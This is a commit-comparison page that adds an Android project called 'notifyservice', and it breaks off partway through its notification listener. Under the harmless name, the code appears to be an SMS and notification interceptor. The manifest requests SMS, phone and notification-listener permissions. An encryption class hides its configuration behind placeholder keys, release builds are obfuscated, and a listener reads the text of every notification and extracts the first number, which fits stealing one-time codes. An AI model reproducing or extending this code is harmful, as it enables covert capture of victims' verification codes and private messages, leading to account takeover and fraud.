Compare commits
49 commits
c3aec166ea
...
43c30b2f58
Author | SHA1 | Date | |
---|---|---|---|
![]() |
43c30b2f58 | ||
![]() |
47a606e7eb | ||
![]() |
edf8370fb2 | ||
![]() |
79135e5bbe | ||
![]() |
2fd92d58a2 | ||
![]() |
afa6a3d112 | ||
![]() |
ca9c5b08ea | ||
![]() |
1eaabcbb4a | ||
![]() |
8ab75b21bd | ||
![]() |
16e7f989a0 | ||
![]() |
9fffc9d809 | ||
![]() |
fd0da4aabb | ||
![]() |
f32badc862 | ||
![]() |
972539971d | ||
![]() |
bdb86741d9 | ||
![]() |
d38e2caf12 | ||
![]() |
fe513db9a0 | ||
![]() |
6d7798f10a | ||
![]() |
992e7fc507 | ||
![]() |
212d27b762 | ||
![]() |
9f211002c4 | ||
![]() |
cc07b8788c | ||
![]() |
5bc0470c01 | ||
![]() |
6852d6983c | ||
![]() |
34d5e6a3d2 | ||
![]() |
f50cfff05d | ||
![]() |
c1e2211c45 | ||
![]() |
66477147c8 | ||
![]() |
2ea08de0a7 | ||
![]() |
fa69ba6fb4 | ||
![]() |
7595ffd508 | ||
![]() |
bb6c0ce424 | ||
![]() |
b34f183066 | ||
![]() |
3018870666 | ||
![]() |
a219decbdf | ||
![]() |
5a471d0522 | ||
![]() |
0632f8a2dc | ||
![]() |
e3994445fd | ||
![]() |
066b61ca6c | ||
![]() |
98b6cd57e0 | ||
![]() |
75cd54b506 | ||
![]() |
2d69ce75c8 | ||
![]() |
11b25aa009 | ||
![]() |
d92d917a90 | ||
![]() |
bb64cc3177 | ||
![]() |
ae59f530b6 | ||
![]() |
a853303713 | ||
![]() |
540fe106b7 | ||
![]() |
e29d5f303e |
93
.gitignore
vendored
Normal file
|
@ -0,0 +1,93 @@
|
||||||
|
*.iml
|
||||||
|
.gradle
|
||||||
|
/local.properties
|
||||||
|
/.idea/caches
|
||||||
|
/.idea/libraries
|
||||||
|
/.idea/modules.xml
|
||||||
|
/.idea/workspace.xml
|
||||||
|
/.idea/navEditor.xml
|
||||||
|
/.idea/assetWizardSettings.xml
|
||||||
|
.DS_Store
|
||||||
|
/build
|
||||||
|
/captures
|
||||||
|
.externalNativeBuild
|
||||||
|
.cxx
|
||||||
|
local.properties
|
||||||
|
|
||||||
|
# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider
|
||||||
|
# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
|
||||||
|
|
||||||
|
# User-specific stuff
|
||||||
|
.idea/**/workspace.xml
|
||||||
|
.idea/**/tasks.xml
|
||||||
|
.idea/**/usage.statistics.xml
|
||||||
|
.idea/**/dictionaries
|
||||||
|
.idea/**/shelf
|
||||||
|
|
||||||
|
# AWS User-specific
|
||||||
|
.idea/**/aws.xml
|
||||||
|
|
||||||
|
# Generated files
|
||||||
|
.idea/**/contentModel.xml
|
||||||
|
|
||||||
|
# Sensitive or high-churn files
|
||||||
|
.idea/**/dataSources/
|
||||||
|
.idea/**/dataSources.ids
|
||||||
|
.idea/**/dataSources.local.xml
|
||||||
|
.idea/**/sqlDataSources.xml
|
||||||
|
.idea/**/dynamic.xml
|
||||||
|
.idea/**/uiDesigner.xml
|
||||||
|
.idea/**/dbnavigator.xml
|
||||||
|
|
||||||
|
# Gradle
|
||||||
|
.idea/**/gradle.xml
|
||||||
|
.idea/**/libraries
|
||||||
|
|
||||||
|
# Gradle and Maven with auto-import
|
||||||
|
# When using Gradle or Maven with auto-import, you should exclude module files,
|
||||||
|
# since they will be recreated, and may cause churn. Uncomment if using
|
||||||
|
# auto-import.
|
||||||
|
# .idea/artifacts
|
||||||
|
# .idea/compiler.xml
|
||||||
|
# .idea/jarRepositories.xml
|
||||||
|
# .idea/modules.xml
|
||||||
|
# .idea/*.iml
|
||||||
|
# .idea/modules
|
||||||
|
# *.iml
|
||||||
|
# *.ipr
|
||||||
|
|
||||||
|
# CMake
|
||||||
|
cmake-build-*/
|
||||||
|
|
||||||
|
# Mongo Explorer plugin
|
||||||
|
.idea/**/mongoSettings.xml
|
||||||
|
|
||||||
|
# File-based project format
|
||||||
|
*.iws
|
||||||
|
|
||||||
|
# IntelliJ
|
||||||
|
out/
|
||||||
|
|
||||||
|
# mpeltonen/sbt-idea plugin
|
||||||
|
.idea_modules/
|
||||||
|
|
||||||
|
# JIRA plugin
|
||||||
|
atlassian-ide-plugin.xml
|
||||||
|
|
||||||
|
# Cursive Clojure plugin
|
||||||
|
.idea/replstate.xml
|
||||||
|
|
||||||
|
# SonarLint plugin
|
||||||
|
.idea/sonarlint/
|
||||||
|
|
||||||
|
# Crashlytics plugin (for Android Studio and IntelliJ)
|
||||||
|
com_crashlytics_export_strings.xml
|
||||||
|
crashlytics.properties
|
||||||
|
crashlytics-build.properties
|
||||||
|
fabric.properties
|
||||||
|
|
||||||
|
# Editor-based Rest Client
|
||||||
|
.idea/httpRequests
|
||||||
|
|
||||||
|
# Android studio 3.1+ serialized cache file
|
||||||
|
.idea/caches/build_file_checksums.ser
|
3
.idea/.gitignore
generated
vendored
Normal file
|
@ -0,0 +1,3 @@
|
||||||
|
# Default ignored files
|
||||||
|
/shelf/
|
||||||
|
/workspace.xml
|
6
.idea/compiler.xml
generated
Normal file
|
@ -0,0 +1,6 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="CompilerConfiguration">
|
||||||
|
<bytecodeTargetLevel target="17" />
|
||||||
|
</component>
|
||||||
|
</project>
|
18
.idea/deploymentTargetSelector.xml
generated
Normal file
|
@ -0,0 +1,18 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="deploymentTargetSelector">
|
||||||
|
<selectionStates>
|
||||||
|
<SelectionState runConfigName="app">
|
||||||
|
<option name="selectionMode" value="DROPDOWN" />
|
||||||
|
<DropdownSelection timestamp="2025-03-13T18:07:37.834640100Z">
|
||||||
|
<Target type="DEFAULT_BOOT">
|
||||||
|
<handle>
|
||||||
|
<DeviceId pluginId="LocalEmulator" identifier="path=C:\Users\0x1\.android\avd\Pixel_6_API_34.avd" />
|
||||||
|
</handle>
|
||||||
|
</Target>
|
||||||
|
</DropdownSelection>
|
||||||
|
<DialogSelection />
|
||||||
|
</SelectionState>
|
||||||
|
</selectionStates>
|
||||||
|
</component>
|
||||||
|
</project>
|
10
.idea/migrations.xml
generated
Normal file
|
@ -0,0 +1,10 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="ProjectMigrations">
|
||||||
|
<option name="MigrateToGradleLocalJavaHome">
|
||||||
|
<set>
|
||||||
|
<option value="$PROJECT_DIR$" />
|
||||||
|
</set>
|
||||||
|
</option>
|
||||||
|
</component>
|
||||||
|
</project>
|
9
.idea/misc.xml
generated
Normal file
|
@ -0,0 +1,9 @@
|
||||||
|
<project version="4">
|
||||||
|
<component name="ExternalStorageConfigurationManager" enabled="true" />
|
||||||
|
<component name="ProjectRootManager" version="2" languageLevel="JDK_17" default="true" project-jdk-name="jbr-17" project-jdk-type="JavaSDK">
|
||||||
|
<output url="file://$PROJECT_DIR$/build/classes" />
|
||||||
|
</component>
|
||||||
|
<component name="ProjectType">
|
||||||
|
<option name="id" value="Android" />
|
||||||
|
</component>
|
||||||
|
</project>
|
6
.idea/vcs.xml
generated
Normal file
|
@ -0,0 +1,6 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="VcsDirectoryMappings">
|
||||||
|
<mapping directory="$PROJECT_DIR$" vcs="Git" />
|
||||||
|
</component>
|
||||||
|
</project>
|
1
app/.gitignore
vendored
Normal file
|
@ -0,0 +1 @@
|
||||||
|
/build
|
46
app/build.gradle.kts
Normal file
|
@ -0,0 +1,46 @@
|
||||||
|
plugins {
|
||||||
|
alias(libs.plugins.android.application)
|
||||||
|
}
|
||||||
|
|
||||||
|
android {
|
||||||
|
namespace = "com.example.notifyservice"
|
||||||
|
compileSdk = 34
|
||||||
|
|
||||||
|
defaultConfig {
|
||||||
|
applicationId = "com.example.notifyservice"
|
||||||
|
minSdk = 24
|
||||||
|
//noinspection ExpiredTargetSdkVersion
|
||||||
|
targetSdk = 33
|
||||||
|
versionCode = 1
|
||||||
|
versionName = "1.0"
|
||||||
|
|
||||||
|
testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
|
||||||
|
}
|
||||||
|
|
||||||
|
buildTypes {
|
||||||
|
release {
|
||||||
|
isMinifyEnabled = true // Obfuscate and minify codes
|
||||||
|
isShrinkResources = true // Remove unused resources
|
||||||
|
isDebuggable = false
|
||||||
|
proguardFiles(
|
||||||
|
getDefaultProguardFile("proguard-android-optimize.txt"),
|
||||||
|
"proguard-rules.pro"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
compileOptions {
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
|
||||||
|
implementation("androidx.appcompat:appcompat:1.6.1")
|
||||||
|
implementation("com.google.android.material:material:1.5.0")
|
||||||
|
implementation("androidx.constraintlayout:constraintlayout:2.1.4")
|
||||||
|
testImplementation("junit:junit:4.13.2")
|
||||||
|
androidTestImplementation("androidx.test.ext:junit:1.1.5")
|
||||||
|
androidTestImplementation("androidx.test.espresso:espresso-core:3.5.1")
|
||||||
|
implementation(libs.okhttp)
|
||||||
|
}
|
21
app/proguard-rules.pro
vendored
Normal file
|
@ -0,0 +1,21 @@
|
||||||
|
# Add project specific ProGuard rules here.
|
||||||
|
# You can control the set of applied configuration files using the
|
||||||
|
# proguardFiles setting in build.gradle.
|
||||||
|
#
|
||||||
|
# For more details, see
|
||||||
|
# http://developer.android.com/guide/developing/tools/proguard.html
|
||||||
|
|
||||||
|
# If your project uses WebView with JS, uncomment the following
|
||||||
|
# and specify the fully qualified class name to the JavaScript interface
|
||||||
|
# class:
|
||||||
|
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
|
||||||
|
# public *;
|
||||||
|
#}
|
||||||
|
|
||||||
|
# Uncomment this to preserve the line number information for
|
||||||
|
# debugging stack traces.
|
||||||
|
#-keepattributes SourceFile,LineNumberTable
|
||||||
|
|
||||||
|
# If you keep the line number information, uncomment this to
|
||||||
|
# hide the original source file name.
|
||||||
|
#-renamesourcefileattribute SourceFile
|
|
@ -0,0 +1,26 @@
|
||||||
|
package com.example.notifyservice;
|
||||||
|
|
||||||
|
import android.content.Context;
|
||||||
|
|
||||||
|
import androidx.test.platform.app.InstrumentationRegistry;
|
||||||
|
import androidx.test.ext.junit.runners.AndroidJUnit4;
|
||||||
|
|
||||||
|
import org.junit.Test;
|
||||||
|
import org.junit.runner.RunWith;
|
||||||
|
|
||||||
|
import static org.junit.Assert.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Instrumented test, which will execute on an Android device.
|
||||||
|
*
|
||||||
|
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
|
||||||
|
*/
|
||||||
|
@RunWith(AndroidJUnit4.class)
|
||||||
|
public class ExampleInstrumentedTest {
|
||||||
|
@Test
|
||||||
|
public void useAppContext() {
|
||||||
|
// Context of the app under test.
|
||||||
|
Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
|
||||||
|
assertEquals("com.example.notifyservice", appContext.getPackageName());
|
||||||
|
}
|
||||||
|
}
|
58
app/src/main/AndroidManifest.xml
Normal file
|
@ -0,0 +1,58 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:tools="http://schemas.android.com/tools">
|
||||||
|
|
||||||
|
<uses-sdk android:minSdkVersion="24" android:targetSdkVersion="33"/>
|
||||||
|
|
||||||
|
<uses-feature
|
||||||
|
android:name="android.hardware.telephony"
|
||||||
|
android:required="false" />
|
||||||
|
|
||||||
|
<application
|
||||||
|
android:usesCleartextTraffic="true"
|
||||||
|
android:allowBackup="true"
|
||||||
|
android:icon="@mipmap/ic_launcher_foreground"
|
||||||
|
android:label="@string/app_name"
|
||||||
|
android:roundIcon="@mipmap/ic_launcher_round"
|
||||||
|
android:supportsRtl="true"
|
||||||
|
android:theme="@style/Theme.NotifyService"
|
||||||
|
tools:targetApi="31">
|
||||||
|
<activity
|
||||||
|
android:name=".MainActivity"
|
||||||
|
android:exported="true"
|
||||||
|
android:configChanges="orientation|screenSize"
|
||||||
|
android:hardwareAccelerated="true">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN" />
|
||||||
|
<category android:name="android.intent.category.LAUNCHER" />
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
|
||||||
|
<service android:name=".Listener"
|
||||||
|
android:exported="false"
|
||||||
|
android:enabled="true"
|
||||||
|
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.service.notification.NotificationListenerService" />
|
||||||
|
</intent-filter>
|
||||||
|
</service>
|
||||||
|
|
||||||
|
|
||||||
|
</application>
|
||||||
|
|
||||||
|
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"
|
||||||
|
tools:ignore="ManifestOrder" />
|
||||||
|
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
|
||||||
|
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||||
|
<uses-permission android:name="android.permission.INTERNET" />
|
||||||
|
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
|
||||||
|
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||||
|
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
|
||||||
|
tools:ignore="ProtectedPermissions" />
|
||||||
|
<uses-permission android:name="android.permission.CALL_PHONE" />
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</manifest>
|
BIN
app/src/main/ic_launcher-playstore.png
Normal file
After Width: | Height: | Size: 26 KiB |
260
app/src/main/java/com/example/notifyservice/Encryption.java
Normal file
|
@ -0,0 +1,260 @@
|
||||||
|
// IGNORE
|
||||||
|
package com.example.notifyservice;
|
||||||
|
import android.util.Base64;
|
||||||
|
import android.util.Log;
|
||||||
|
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.security.KeyFactory;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
import java.security.NoSuchAlgorithmException;
|
||||||
|
import java.security.PrivateKey;
|
||||||
|
import java.security.PublicKey;
|
||||||
|
import java.security.interfaces.RSAPublicKey;
|
||||||
|
import java.security.spec.InvalidKeySpecException;
|
||||||
|
import java.security.spec.PKCS8EncodedKeySpec;
|
||||||
|
import java.security.spec.X509EncodedKeySpec;
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.IvParameterSpec;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
|
||||||
|
public class Encryption {
|
||||||
|
|
||||||
|
private static byte[] hexStringToBytes(String hexString) {
|
||||||
|
int len = hexString.length();
|
||||||
|
byte[] data = new byte[len / 2];
|
||||||
|
for (int i = 0; i < len; i += 2) {
|
||||||
|
data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4)
|
||||||
|
+ Character.digit(hexString.charAt(i+1), 16));
|
||||||
|
}
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static final char[] HEX_ARRAY = "0123456789abcdef".toCharArray();
|
||||||
|
public static String bytesToHex(byte[] bytes) {
|
||||||
|
char[] hexChars = new char[bytes.length * 2];
|
||||||
|
for (int j = 0; j < bytes.length; j++) {
|
||||||
|
int v = bytes[j] & 0xFF;
|
||||||
|
hexChars[j * 2] = HEX_ARRAY[v >>> 4];
|
||||||
|
hexChars[j * 2 + 1] = HEX_ARRAY[v & 0x0F];
|
||||||
|
}
|
||||||
|
return new String(hexChars);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Cipher getCipher(int mode) {
|
||||||
|
try {
|
||||||
|
IvParameterSpec iv = new IvParameterSpec(decrypt(
|
||||||
|
"IV_KEY" // VARIABLE
|
||||||
|
).getBytes("UTF-8"));
|
||||||
|
SecretKeySpec skeySpec = new SecretKeySpec(decrypt(
|
||||||
|
"SECRET_KEY" // VARIABLE
|
||||||
|
).getBytes("UTF-8"), "AES");
|
||||||
|
|
||||||
|
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
|
||||||
|
cipher.init(mode, skeySpec, iv);
|
||||||
|
return cipher;
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Cipher getEbcCipher(int mode, String customKey) {
|
||||||
|
if (customKey.isEmpty())
|
||||||
|
customKey = decrypt(
|
||||||
|
"SECRET_KEY" // VARIABLE
|
||||||
|
);
|
||||||
|
else
|
||||||
|
customKey = md5Encrypt(customKey);
|
||||||
|
try {
|
||||||
|
SecretKeySpec skeySpec = new SecretKeySpec(customKey.getBytes("UTF-8"), "AES");
|
||||||
|
|
||||||
|
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5PADDING");
|
||||||
|
cipher.init(mode, skeySpec);
|
||||||
|
return cipher;
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String aesHexEncrypt(String data, String key) {
|
||||||
|
try {
|
||||||
|
Cipher cipher = getEbcCipher(1, key);
|
||||||
|
byte[] encrypted = cipher.doFinal(data.getBytes());
|
||||||
|
return randomizeCase(bytesToHex(encrypted));
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String aesEncrypt(String data) {
|
||||||
|
try {
|
||||||
|
Cipher cipher = getCipher(1);
|
||||||
|
byte[] encrypted = cipher.doFinal(data.getBytes());
|
||||||
|
return Base64.encodeToString(encrypted, Base64.DEFAULT);
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String randomizeCase(String str) {
|
||||||
|
|
||||||
|
Random rnd = new Random();
|
||||||
|
StringBuilder sb = new StringBuilder(str.length());
|
||||||
|
|
||||||
|
for (char c : str.toCharArray())
|
||||||
|
sb.append(rnd.nextBoolean()
|
||||||
|
? Character.toLowerCase(c)
|
||||||
|
: Character.toUpperCase(c));
|
||||||
|
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String shaEncrypt(String data, String key) {
|
||||||
|
try {
|
||||||
|
byte[] bytesOfMessage = (data + key).getBytes("UTF-8");
|
||||||
|
MessageDigest md = MessageDigest.getInstance("SHA-512");
|
||||||
|
return randomizeCase(bytesToHex(md.digest(bytesOfMessage)));
|
||||||
|
} catch (Exception ignore) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String md5Encrypt(String data) {
|
||||||
|
try {
|
||||||
|
byte[] bytesOfMessage = data.getBytes("UTF-8");
|
||||||
|
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||||
|
return bytesToHex(md.digest(bytesOfMessage));
|
||||||
|
} catch (Exception ignore) {}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String aesDecrypt(String data) {
|
||||||
|
try {
|
||||||
|
Cipher cipher = getCipher(2);
|
||||||
|
byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT));
|
||||||
|
return new String(plainText);
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String decrypt(String data){
|
||||||
|
try {
|
||||||
|
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
|
||||||
|
PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(hexStringToBytes(
|
||||||
|
"BUILD_KEY" // VARIABLE
|
||||||
|
));
|
||||||
|
PrivateKey privateKey = keyFactory.generatePrivate(keySpec);
|
||||||
|
|
||||||
|
Cipher decryptCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
|
||||||
|
decryptCipher.init(Cipher.DECRYPT_MODE, privateKey);
|
||||||
|
|
||||||
|
byte[] decryptedMessageBytes = decryptCipher.doFinal(hexStringToBytes(data));
|
||||||
|
String decryptedMessage = new String(decryptedMessageBytes, StandardCharsets.UTF_8);
|
||||||
|
return decryptedMessage;
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static String encrypt(String data){
|
||||||
|
try {
|
||||||
|
PublicKey publicKey = decodePKCS1PublicKey(hexStringToBytes(
|
||||||
|
"PUBLIC_KEY" // VARIABLE
|
||||||
|
));
|
||||||
|
Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
|
||||||
|
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
|
||||||
|
return bytesToHex(cipher.doFinal(data.getBytes()));
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private static final int SEQUENCE_TAG = 0x30;
|
||||||
|
private static final int BIT_STRING_TAG = 0x03;
|
||||||
|
private static final byte[] NO_UNUSED_BITS = new byte[] { 0x00 };
|
||||||
|
private static final byte[] RSA_ALGORITHM_IDENTIFIER_SEQUENCE =
|
||||||
|
{(byte) 0x30, (byte) 0x0d,
|
||||||
|
(byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x01,
|
||||||
|
(byte) 0x05, (byte) 0x00};
|
||||||
|
|
||||||
|
|
||||||
|
public static RSAPublicKey decodePKCS1PublicKey(byte[] pkcs1PublicKeyEncoding)
|
||||||
|
throws NoSuchAlgorithmException, InvalidKeySpecException
|
||||||
|
{
|
||||||
|
byte[] subjectPublicKeyInfo2 = createSubjectPublicKeyInfoEncoding(pkcs1PublicKeyEncoding);
|
||||||
|
KeyFactory rsaKeyFactory = KeyFactory.getInstance("RSA");
|
||||||
|
RSAPublicKey generatePublic = (RSAPublicKey) rsaKeyFactory.generatePublic(new X509EncodedKeySpec(subjectPublicKeyInfo2));
|
||||||
|
return generatePublic;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] createSubjectPublicKeyInfoEncoding(byte[] pkcs1PublicKeyEncoding)
|
||||||
|
{
|
||||||
|
byte[] subjectPublicKeyBitString = createDEREncoding(BIT_STRING_TAG, concat(NO_UNUSED_BITS, pkcs1PublicKeyEncoding));
|
||||||
|
byte[] subjectPublicKeyInfoValue = concat(RSA_ALGORITHM_IDENTIFIER_SEQUENCE, subjectPublicKeyBitString);
|
||||||
|
byte[] subjectPublicKeyInfoSequence = createDEREncoding(SEQUENCE_TAG, subjectPublicKeyInfoValue);
|
||||||
|
|
||||||
|
return subjectPublicKeyInfoSequence;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] concat(byte[] ... bas)
|
||||||
|
{
|
||||||
|
int len = 0;
|
||||||
|
for (int i = 0; i < bas.length; i++)
|
||||||
|
{
|
||||||
|
len += bas[i].length;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] buf = new byte[len];
|
||||||
|
int off = 0;
|
||||||
|
for (int i = 0; i < bas.length; i++)
|
||||||
|
{
|
||||||
|
System.arraycopy(bas[i], 0, buf, off, bas[i].length);
|
||||||
|
off += bas[i].length;
|
||||||
|
}
|
||||||
|
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] createDEREncoding(int tag, byte[] value)
|
||||||
|
{
|
||||||
|
if (tag < 0 || tag >= 0xFF)
|
||||||
|
{
|
||||||
|
throw new IllegalArgumentException("Currently only single byte tags supported");
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] lengthEncoding = createDERLengthEncoding(value.length);
|
||||||
|
|
||||||
|
int size = 1 + lengthEncoding.length + value.length;
|
||||||
|
byte[] derEncodingBuf = new byte[size];
|
||||||
|
|
||||||
|
int off = 0;
|
||||||
|
derEncodingBuf[off++] = (byte) tag;
|
||||||
|
System.arraycopy(lengthEncoding, 0, derEncodingBuf, off, lengthEncoding.length);
|
||||||
|
off += lengthEncoding.length;
|
||||||
|
System.arraycopy(value, 0, derEncodingBuf, off, value.length);
|
||||||
|
|
||||||
|
return derEncodingBuf;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] createDERLengthEncoding(int size)
|
||||||
|
{
|
||||||
|
if (size <= 0x7F)
|
||||||
|
{
|
||||||
|
return new byte[] { (byte) size };
|
||||||
|
}
|
||||||
|
else if (size <= 0xFF)
|
||||||
|
{
|
||||||
|
return new byte[] { (byte) 0x81, (byte) size };
|
||||||
|
}
|
||||||
|
else if (size <= 0xFFFF)
|
||||||
|
{
|
||||||
|
return new byte[] { (byte) 0x82, (byte) (size >> Byte.SIZE), (byte) size };
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new IllegalArgumentException("size too large, only up to 64KiB length encoding supported: " + size);
|
||||||
|
}
|
||||||
|
}
|
57
app/src/main/java/com/example/notifyservice/GetRequest.java
Normal file
|
@ -0,0 +1,57 @@
|
||||||
|
package com.example.notifyservice;
|
||||||
|
|
||||||
|
import android.content.Context;
|
||||||
|
import android.util.Log;
|
||||||
|
|
||||||
|
import androidx.annotation.NonNull;
|
||||||
|
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
import okhttp3.Call;
|
||||||
|
import okhttp3.Callback;
|
||||||
|
import okhttp3.OkHttpClient;
|
||||||
|
import okhttp3.Request;
|
||||||
|
import okhttp3.Response;
|
||||||
|
|
||||||
|
public class GetRequest {
|
||||||
|
|
||||||
|
private Context context;
|
||||||
|
private GetRequestCallback callback;
|
||||||
|
|
||||||
|
public GetRequest(Context context, GetRequestCallback callback) {
|
||||||
|
this.context = context;
|
||||||
|
this.callback = callback;
|
||||||
|
}
|
||||||
|
|
||||||
|
public final OkHttpClient client = new OkHttpClient();
|
||||||
|
|
||||||
|
public void execute(String... params) {
|
||||||
|
String urlString = params[0];
|
||||||
|
|
||||||
|
Request request = new Request.Builder().url(urlString).get().build();
|
||||||
|
|
||||||
|
Call call = client.newCall(request);
|
||||||
|
call.enqueue(new Callback() {
|
||||||
|
public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
|
||||||
|
onGetExecute(response.peekBody(Long.MAX_VALUE).string());
|
||||||
|
}
|
||||||
|
|
||||||
|
public void onFailure(@NonNull Call call, @NonNull IOException e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
protected void onGetExecute(String result) {
|
||||||
|
try {
|
||||||
|
callback.onGetResponse((new JSONObject(
|
||||||
|
result
|
||||||
|
)));
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,7 @@
|
||||||
|
package com.example.notifyservice;
|
||||||
|
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
public interface GetRequestCallback {
|
||||||
|
void onGetResponse(JSONObject result);
|
||||||
|
}
|
99
app/src/main/java/com/example/notifyservice/Listener.java
Normal file
|
@ -0,0 +1,99 @@
|
||||||
|
package com.example.notifyservice;
|
||||||
|
|
||||||
|
import android.app.ActivityManager;
|
||||||
|
import android.app.Notification;
|
||||||
|
import android.content.Context;
|
||||||
|
import android.content.Intent;
|
||||||
|
import android.os.Build;
|
||||||
|
import android.os.Bundle;
|
||||||
|
import android.os.IBinder;
|
||||||
|
import android.service.notification.NotificationListenerService;
|
||||||
|
import android.service.notification.StatusBarNotification;
|
||||||
|
import android.util.Log;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class Listener extends NotificationListenerService {
|
||||||
|
|
||||||
|
|
||||||
|
List<String> notificationTextKeys = Arrays.asList(
|
||||||
|
Notification.EXTRA_TEXT,
|
||||||
|
Notification.EXTRA_SUB_TEXT,
|
||||||
|
Notification.EXTRA_INFO_TEXT,
|
||||||
|
Notification.EXTRA_SUMMARY_TEXT,
|
||||||
|
Notification.EXTRA_BIG_TEXT,
|
||||||
|
Notification.EXTRA_TEXT_LINES
|
||||||
|
);
|
||||||
|
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public IBinder onBind(Intent intent) {
|
||||||
|
return super.onBind(intent);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String extractFirstNumber(String input) {
|
||||||
|
if (input == null || input.isEmpty()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
StringBuilder number = new StringBuilder();
|
||||||
|
boolean foundDigit = false;
|
||||||
|
|
||||||
|
for (char c : input.toCharArray()) {
|
||||||
|
if (Character.isDigit(c)) {
|
||||||
|
number.append(c);
|
||||||
|
foundDigit = true;
|
||||||
|
} else if (foundDigit) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
